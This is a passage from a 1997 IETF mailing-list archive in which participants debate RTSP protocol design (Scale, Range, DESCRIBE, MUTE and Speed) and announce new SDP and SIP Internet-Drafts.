\begin{verbatim}
  Scale = "Scale" ":" [ "-" ] 1*DIGIT [ "." *DIGIT ]
\end{verbatim}
 
Example of reverse play at 3.5 times normal rate:
 
\begin{verbatim}
  Scale: -3.5 
\end{verbatim}
> 
> Third Issue:
> Also, I thought that we had agreed to the concept that the Range
> parameter for the PLAY method can also indicate an offset from which
> play is to begin. According to my (faulty) memory, the offset is merely
> a Range parameter lacking the "-" and the second number. Could we please
> have examples giving both the offset use of Range? I ask because I think
> that the offset use is much more useful than the range. (Or, at least, I
> have trouble imagining how to use the Range in our implementation but I
> can think of many examples of how to use the Offset.)

Not sure I understand this; as far as I can tell, this capability was
always there and hasn't been removed.

PLAY
Range: 17-

See the Range section for the example. I slso added a third example with
an open-ended range to the PLAY examples.

PLAY with start and stop time is mainly for remote editing, but it is
also very useful when assembling a program from, say, sound clips. The
type of descriptions of media instances that we saw in Cupertino
translate very naturally into this notation.

It was (and is) always possible to indicate to start at NPT 17 and keep
on going. The example in the text has this form. The only difference is
that it keeps the "-"; this is for consistency with the HTTP parameter
(and it does indicate desired behavior since playing a point doesn't
make much sense) and makes a "play from wherever you are up to X"
possible.

> 
> Fourth Issue:
> Finally, I am sorry to see the absence of the GET method. I greatly
> valued this method and anticipated using it to retrieve session
> description information for sessions formed by streaming media file
> (e.g., QuickTime, ASF, AVI, or RMFF) data.
> 
> The part of the GET method which has been retained within the DESCRIBE
> method is that part which corresponds to SDP. However, SDP has not
> envisioned the full gamut of session description possibilities,
> especially those possibilities which may pertain to describing media
> file-based content. This type of info would probably be best returned by
> the second GET response type (e.g., opaque) which permits a more
> flexible encoding range but which doesn't seem to exist for DESCRIBE.
> Could this alternative be re-added to DESCRIBE?

I'm a bit at a loss here given that the description of DESCRIBE hasn't
changed at all from what it was when the method was called GET. You can
get any description back that the server supports (and that you,
optionally, indicate with the Accept header). This doesn't have to be
SDP; it can be any proprietary or published or standardized format.
Where does it say that only SDP is acceptable? 

The text says:

"The {\sf DESCRIBE} method retrieves the description of a presentation
or
media object identified by the request URL from a server.  It may use
the {\sf Accept} header to specify the description formats that the
client understands.  The server responds with a {\em description} of the
requested resource."

Thanks for your comments.
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Mar 26 03:42:49 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02473>; Wed, 26 Mar 1997 05:42:58 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02467>; Wed, 26 Mar 1997 05:42:57 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA08976>; Wed, 26 Mar 1997 05:42:57 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA21584; Wed, 26 Mar 1997 08:42:50 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA11669; Wed, 26 Mar 1997 08:42:49 -0500 (EST)
Message-Id: <333927D9.7DB2@cs.columbia.edu>
Date: Wed, 26 Mar 1997 08:42:49 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: RTSP Terminology (again)
References: <503A2A3C2932CF118D8800805FD44E1802F46AFD@red-68-msg.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm hoping to clean up the terminology before submitting the document,
but this takes a while in a 50-page document. Currently, based on the
Cupertino discussions, I'm using

Presentation - one or more streams, controlled together
media stream - audio/video/... (media instance does not fit here for
various reasons)
RTSP session - for an individual RTSP session (in the network protocol
sense), i.e., whatever RTSP actions are enclosed between SETUP and
TEARDOWN.

Hope this works.

There should be a new version by the time you read this.

From majordom@ISI.EDU  Wed Mar 26 07:26:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11627>; Wed, 26 Mar 1997 09:27:00 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11621>; Wed, 26 Mar 1997 09:26:59 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20065>; Wed, 26 Mar 1997 09:26:56 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA28795 for <confctrl@isi.edu>; Wed, 26 Mar 1997 12:26:53 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id MAA12105 for <confctrl@isi.edu>; Wed, 26 Mar 1997 12:26:52 -0500 (EST)
Message-Id: <33395C5C.2F97@cs.columbia.edu>
Date: Wed, 26 Mar 1997 12:26:52 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: RTSP: Removal of SESSION
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Since SESSION is really just DESCRIBE in the other direction (server to
client), I suggest dropping it. Anybody particularly attached to the
method?

From majordom@ISI.EDU  Wed Mar 26 01:31:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14675>; Wed, 26 Mar 1997 10:13:06 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14669>; Wed, 26 Mar 1997 10:13:01 -0800
Received: from INET-02-IMC.microsoft.com (mail2.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23058>; Wed, 26 Mar 1997 10:12:52 -0800
Received: by mail2.microsoft.com with Internet Mail Service (5.0.1457.3)
	id <HW4TQ47M>; Wed, 26 Mar 1997 09:38:47 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802F46B03@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Mark Handley' <mjh@isi.edu>,
        Henning Schulzrinne
	 <schulzrinne@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: RE: Mute vs. PAUSE in RTSP 
Date: Wed, 26 Mar 1997 09:31:14 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I recommend that we not add in "MUTE" as an RTSP method.

"MUTE" is problematic and adds little value and considerable unneeded
extra complexity. If this extra complexity is added, it must handle at
least the following scenarios:

1) streaming data is sent as a "group of media streams" from the same
source (e.g., ASF, QuickTime, AVI). The natural thing to expect is that
the user will turn down their sound volume to handle a mute - thus the
command is unnecessary. If the command exists, one would expect the
client to simply not render the sound. The third possibility, to have
the server "extract" the sound channel(s) and not send them, adds extra
state and overhead to the server - particularly with interleaved data
types - and this overhead will detrimentally harm the performance of the
server. (This is "A Bad Thing".)

2) streaming data is sent as segregated media streams. In this case the
more efficient approach for the network would be to unjoin the audio
stream and rejoin it once the user wishes to hear audio again. Thus,
mute is not needed. In the case in which multiple audio streams are
being received and are "locally mixed", a mute will have to "silence"
all of the streams to be effective. This offers less control than the
network controlled alternative already present with RTP/MBONE.

Thus, I recommend that we not add in "MUTE" as an RTSP method.

	-----Original Message-----
	From:	Mark Handley [SMTP:mjh@isi.edu]
	Sent:	Tuesday, March 25, 1997 9:11 AM
	To:	Henning Schulzrinne
	Cc:	confctrl@isi.edu
	Subject:	Re: Mute vs. PAUSE in RTSP 


	>In discussions I've had since I wrote this note, I'm becoming
more
	>convinced that a single RTSP session should really only control
a single
	>media stream (which may consist of several substreams, as when
you are
	>delivering a Quicktime/AVI/ASF movie) to avoid problems with
	>presentation authors piecing together unrelated media objects.

	Given that the delay from a user pressing "go" to the server
getting
	the message is not predictable, how would you suggest
synchronised
	startup of playback of separate audio and video streams is
performed
	if you don't have a common RTSP session (and can therefore
guarantee
	atomicity)?  

	You can buffer the first stream which arrives, but this does
seem to
	complicate the issue somewhat wrt the client knowing for certain
that
	the later stream is definitely going to start arriving
eventually.

	Mark

From majordom@ISI.EDU  Wed Mar 26 04:15:01 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23445>; Wed, 26 Mar 1997 12:18:26 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23439>; Wed, 26 Mar 1997 12:18:25 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA01949>; Wed, 26 Mar 1997 12:18:24 -0800
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id MAA05258; Wed, 26 Mar 1997 12:15:02 -0800
Date: Wed, 26 Mar 1997 12:15:01 -0800 (PST)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: confctrl@isi.edu
Subject: RE: Mute vs. PAUSE in RTSP 
In-Reply-To: <503A2A3C2932CF118D8800805FD44E1802F46B03@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.SOL.3.93.970326121103.11278A-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



> .... The third possibility, to have
> the server "extract" the sound channel(s) and not send them, adds extra
> state and overhead to the server - particularly with interleaved data
> types - and this overhead will detrimentally harm the performance of the
> server. (This is "A Bad Thing".)

Ummmm... it seems to me that sending a stream when nobody is listening is
rather a much, much worse thing.  Indeed, even stronger condemnitory terms
would apply.

I'd rather lose performance on some server somewhere than place the burden
on the network and make everyone suffer, even those not concerned with
multimedia networking.

		--karl--



From majordom@ISI.EDU  Wed Mar 26 10:33:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24210>; Wed, 26 Mar 1997 12:35:03 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24199>; Wed, 26 Mar 1997 12:35:01 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA02882>; Wed, 26 Mar 1997 12:35:00 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id PAA13055; Wed, 26 Mar 1997 15:33:13 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Subject: draft-ietf-mmusic-sdp-03.{txt,ps}
Date: Wed, 26 Mar 1997 15:33:13 -0500
Message-Id: <13053.859408393@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I just submitted a new version of the SDP specification to the
internet-drafts archive, where it should appear in a few days.

In the meantime, you can obtain a copy from the confctrl archive:
ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sdp-03.{txt,ps}

One this appears in the internet-drafts archive, I intend to issue a
working group last call on this version of the spec.  Changes from the
02 draft are pretty minor:

- vat format has been removed from the SDP spec.  
  It'll still appear in the list we hand to IANA to avoid clashes,
  but it's use is deprecated.

- section 6.1 (Communicating Conference Control Policy) has been changed
  from a fictional example to an example of H.332 usage.

- explanation of rtpmap improved

- H.332 added as a valid "type" attribute.

- fmtp attribute added as a way to convey codec-specific information that
  an SDP parser doesn't need to care about.

- character set of username extended to allow base64 encoding of
  usernames in other character sets.

- incorrect definition of character sets for email and phone fields fixed

- upper case protocol "UDP", and formats "WB" and "NT" changed to lower
  case to match current usage.

- several explanations improved and typos removed

Please let me know is there are any problems with this draft.

Cheers,
	Mark

From majordom@ISI.EDU  Wed Mar 26 06:49:08 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05152>; Wed, 26 Mar 1997 14:59:24 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05134>; Wed, 26 Mar 1997 14:59:22 -0800
Received: from INET-02-IMC.microsoft.com (mail2.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA11935>; Wed, 26 Mar 1997 14:59:22 -0800
Received: by mail2.microsoft.com with Internet Mail Service (5.0.1457.3)
	id <HW4TRB4X>; Wed, 26 Mar 1997 14:49:22 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802F46B0A@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'karl@precept.com'" <karl@precept.com>, confctrl@isi.edu
Subject: RE: Mute vs. PAUSE in RTSP 
Date: Wed, 26 Mar 1997 14:49:08 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hence the need to "do away with" mute since there doesn't appear to be
any way to implement it which isn't A Bad Thing.

	-----Original Message-----
	From:	Karl Auerbach [SMTP:karl@precept.com]
	Sent:	Wednesday, March 26, 1997 12:15 PM
	To:	confctrl@isi.edu
	Subject:	RE: Mute vs. PAUSE in RTSP 



	> .... The third possibility, to have
	> the server "extract" the sound channel(s) and not send them,
adds extra
	> state and overhead to the server - particularly with
interleaved data
	> types - and this overhead will detrimentally harm the
performance of the
	> server. (This is "A Bad Thing".)

	Ummmm... it seems to me that sending a stream when nobody is
listening is
	rather a much, much worse thing.  Indeed, even stronger
condemnitory terms
	would apply.

	I'd rather lose performance on some server somewhere than place
the burden
	on the network and make everyone suffer, even those not
concerned with
	multimedia networking.

			--karl--


From majordom@ISI.EDU  Wed Mar 26 07:16:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06086>; Wed, 26 Mar 1997 15:16:48 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06079>; Wed, 26 Mar 1997 15:16:45 -0800
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA13185>; Wed, 26 Mar 1997 15:16:45 -0800
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id PAA28662; Wed, 26 Mar 1997 15:16:39 -0800 (PST)
Message-Id: <199703262316.PAA28662@mailhost.nttlabs.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: RTSP: Removal of SESSION 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Wed, 26 Mar 1997 12:26:52 EST"
References: <33395C5C.2F97@cs.columbia.edu> 
Date: Wed, 26 Mar 1997 15:16:38 -0800
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Does this mean you will eliminate the server to client expression - or
just call it the same for both directions?

Sorry, don't have the spec in front of me know and don't have context.

From memory - there are requirements for the server to stipulate this
type of information...

|Since SESSION is really just DESCRIBE in the other direction (server to
|client), I suggest dropping it. Anybody particularly attached to the
|method?
|


From majordom@ISI.EDU  Wed Mar 26 07:16:25 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06179>; Wed, 26 Mar 1997 15:17:42 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06173>; Wed, 26 Mar 1997 15:17:41 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA13220>; Wed, 26 Mar 1997 15:17:41 -0800
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id PAA06025; Wed, 26 Mar 1997 15:16:25 -0800
Date: Wed, 26 Mar 1997 15:16:25 -0800 (PST)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: confctrl@isi.edu
Subject: RE: Mute vs. PAUSE in RTSP 
In-Reply-To: <503A2A3C2932CF118D8800805FD44E1802F46B0A@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.SOL.3.93.970326150744.11520C-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> Hence the need to "do away with" mute since there doesn't appear to be
> any way to implement it which isn't A Bad Thing.

I don't agree.  The notion of having a state in which media time keeps
advancing on the media stream, but nothing is being sent onto the network,
is a useful thing to have.

What's bad are techniques that cause congestion or route thrashing; the
former occurring if the notion of "mute" is "it's still sent, just plug
your ears", the latter occurring if "mute" is "unjoin the multicast group
and then join again".

		--karl--





From majordom@ISI.EDU  Wed Mar 26 13:42:06 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07852>; Wed, 26 Mar 1997 15:42:15 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07843>; Wed, 26 Mar 1997 15:42:13 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA14578>; Wed, 26 Mar 1997 15:42:13 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA03475; Wed, 26 Mar 1997 18:42:11 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id SAA12946; Wed, 26 Mar 1997 18:42:06 -0500 (EST)
Message-Id: <3339B44E.325B@cs.columbia.edu>
Date: Wed, 26 Mar 1997 18:42:06 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: "Jeffrey D. Smith" <sumisu@nttlabs.com>
Cc: confctrl@isi.edu
Subject: Re: RTSP: Removal of SESSION
References: <33395C5C.2F97@cs.columbia.edu> <199703262316.PAA28662@mailhost.nttlabs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Jeff Smith wrote:
> 
> Does this mean you will eliminate the server to client expression - or
> just call it the same for both directions?

The latter: DESCRIBE for both directions.

From majordom@ISI.EDU  Wed Mar 26 07:23:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19676>; Wed, 26 Mar 1997 20:44:59 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19670>; Wed, 26 Mar 1997 20:44:57 -0800
Received: from INET-04-IMC.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA03093>; Wed, 26 Mar 1997 20:44:57 -0800
Received: by INET-04-IMC with Internet Mail Service (5.0.1457.3)
	id <HXLS57H8>; Wed, 26 Mar 1997 18:16:06 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802F46B0D@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Speed field in RTSP
Date: Wed, 26 Mar 1997 15:23:14 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The current RTSP spec permits the play and record methods to have an
optional speed field. The speed field indicates an altered data rate so
that a "speed 2.5" on a play would mean to send 2.5 times the previously
negotiated amount of data within that session.

Speed in the current spec can be a negative number. I believe that this
should never be permitted to occur because a negative number is not
physically possible: the sink never becomes the source. Rather, what
should occur is for the scale field to be permitted to be a negative
number. Please recall that scale field advances the timeline thereby
permitting fast forwards and fast rewinds to occur at a user-specified
rate - a much more appropriate field to indicate "rewinding".

Overlooking this problem, I am concerned by the very existence of the
speed field within the spec. I believe that it is a very dangerous
alternative and leads to many nasty problems. For example, Network
Managers are very concerned that network traffic be somehow prioritized
in tune to the company's internal priorities. Controls to achieve this
are few and inexact at best, so what frequently happens is that Network
Managers try to set aside a certain percentage of capacity for
multimedia events including "broadcasts" such as the MBONE. Hence the
existence of "channels" and SDP-like registration services. Should users
be given the ability to willy-nilly exceed these prescheduled bandwidth
allocations, the Network Manager's job quickly becomes untenable. Having
seen this situation enacted multiple times, the normal next result is a
directive coming from management banning that technology within the
corporation until such a time as it may function in a "well behaved"
fashion. Why then are we permitting a Bad-Network-Citizen-feature like
speed within this spec? Let's rather eliminate it altogether since its
downsides are so severe. Any Pushback?

From majordom@ISI.EDU  Thu Mar 27 16:36:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28769>; Thu, 27 Mar 1997 04:28:01 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28763>; Thu, 27 Mar 1997 04:27:59 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21561>; Thu, 27 Mar 1997 04:27:49 -0800
Received: (qmail 26524 invoked by uid 1067); 27 Mar 1997 12:36:00 -0000
Date: Thu, 27 Mar 1997 14:36:00 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Mark Handley <mjh@isi.edu>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@isi.edu
Subject: Re: Mute vs. PAUSE in RTSP 
In-Reply-To: <6362.859309843@buttle.lcs.mit.edu>
Message-Id: <Pine.LNX.3.95.970327143445.26342A-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Tue, 25 Mar 1997, Mark Handley wrote:

>>In discussions I've had since I wrote this note, I'm becoming more
>>convinced that a single RTSP session should really only control a single
>>media stream (which may consist of several substreams, as when you are
>>delivering a Quicktime/AVI/ASF movie) to avoid problems with
>>presentation authors piecing together unrelated media objects.
>
>Given that the delay from a user pressing "go" to the server getting
>the message is not predictable, how would you suggest synchronised
>startup of playback of separate audio and video streams is performed
>if you don't have a common RTSP session (and can therefore guarantee
>atomicity)?  

It isn't absolutely necessary, as you say:

>You can buffer the first stream which arrives, but this does seem to
>complicate the issue somewhat wrt the client knowing for certain that
>the later stream is definitely going to start arriving eventually.

Added with transport throttleback this does the deed.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Fri Mar 28 16:53:55 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19462>; Fri, 28 Mar 1997 04:52:03 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19456>; Fri, 28 Mar 1997 04:52:00 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23799>; Fri, 28 Mar 1997 04:51:58 -0800
Received: (qmail 10349 invoked by uid 1067); 28 Mar 1997 12:53:55 -0000
Date: Fri, 28 Mar 1997 14:53:55 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: 'Mark Handley' <mjh@isi.edu>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@isi.edu
Subject: RE: Mute vs. PAUSE in RTSP 
In-Reply-To: <503A2A3C2932CF118D8800805FD44E1802F46B03@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.LNX.3.95.970328145304.9746C-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 26 Mar 1997, Eric Fleischman wrote:

>I recommend that we not add in "MUTE" as an RTSP method.

Agreed. Given PAUSE, MUTE doesn't pay off.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Fri Mar 28 17:04:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19557>; Fri, 28 Mar 1997 05:02:38 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19551>; Fri, 28 Mar 1997 05:02:35 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23878>; Fri, 28 Mar 1997 05:02:33 -0800
Received: (qmail 10443 invoked by uid 1067); 28 Mar 1997 13:04:32 -0000
Date: Fri, 28 Mar 1997 15:04:32 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Re: Speed field in RTSP
In-Reply-To: <503A2A3C2932CF118D8800805FD44E1802F46B0D@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.LNX.3.95.970328150215.9746D-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 26 Mar 1997, Eric Fleischman wrote:

>Speed in the current spec can be a negative number. I believe that this
>should never be permitted to occur because a negative number is not
>physically possible: the sink never becomes the source.

True.

>Overlooking this problem, I am concerned by the very existence of the
>speed field within the spec.

So am I, and have been from the very beginning.

>I believe that it is a very dangerous
>alternative and leads to many nasty problems.

Especially after it is used in high-latency, big-bucks-per-MBps, multicast 
WAN applications.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Fri Mar 28 04:57:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21550>; Fri, 28 Mar 1997 07:13:39 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21544>; Fri, 28 Mar 1997 07:13:38 -0800
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-26)
	id <AA28240>; Fri, 28 Mar 1997 07:13:37 -0800
Received: from ietf.ietf.org by ietf.org id aa12174; 28 Mar 97 9:57 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@isi.edu
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-02.txt, .ps
Date: Fri, 28 Mar 1997 09:57:45 -0500
Message-Id:  <9703280957.aa12174@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A Revised Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : SIP: Session Initiation Protocol                        
       Author(s) : M. Handley, H. Schulzrinne, E. Schooler
       Filename  : draft-ietf-mmusic-sip-02.txt, .ps
       Pages     : 38
       Date      : 03/26/1997

Many styles of multimedia conferencing are likely to co-exist on the 
Internet, and many of them share the need to invite users to participate. 
The Session Initiation Protocol (SIP) is a simple protocol designed to 
enable the invitation of users to participate in such multimedia sessions. 
It is not tied to any specific conference control scheme, providing support
for either loosely or tightly controlled sessions. In particular, it aims 
to enable user mobility by relaying and redirecting invitations to a user's
current location.            

This document is a product of the Multiparty Multimedia Session 
Control (MMUSIC) working group of the Internet Engineering Task Force.  
Comments are solicited and should be addressed to the working 
group's mailing list at confctrl@isi.edu and/or the authors.   

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-sip-02.txt".
 Or 
     "get draft-ietf-mmusic-sip-02.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sip-02.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  ftp.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-sip-02.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-sip-02.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19970327170442.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-02.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-sip-02.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

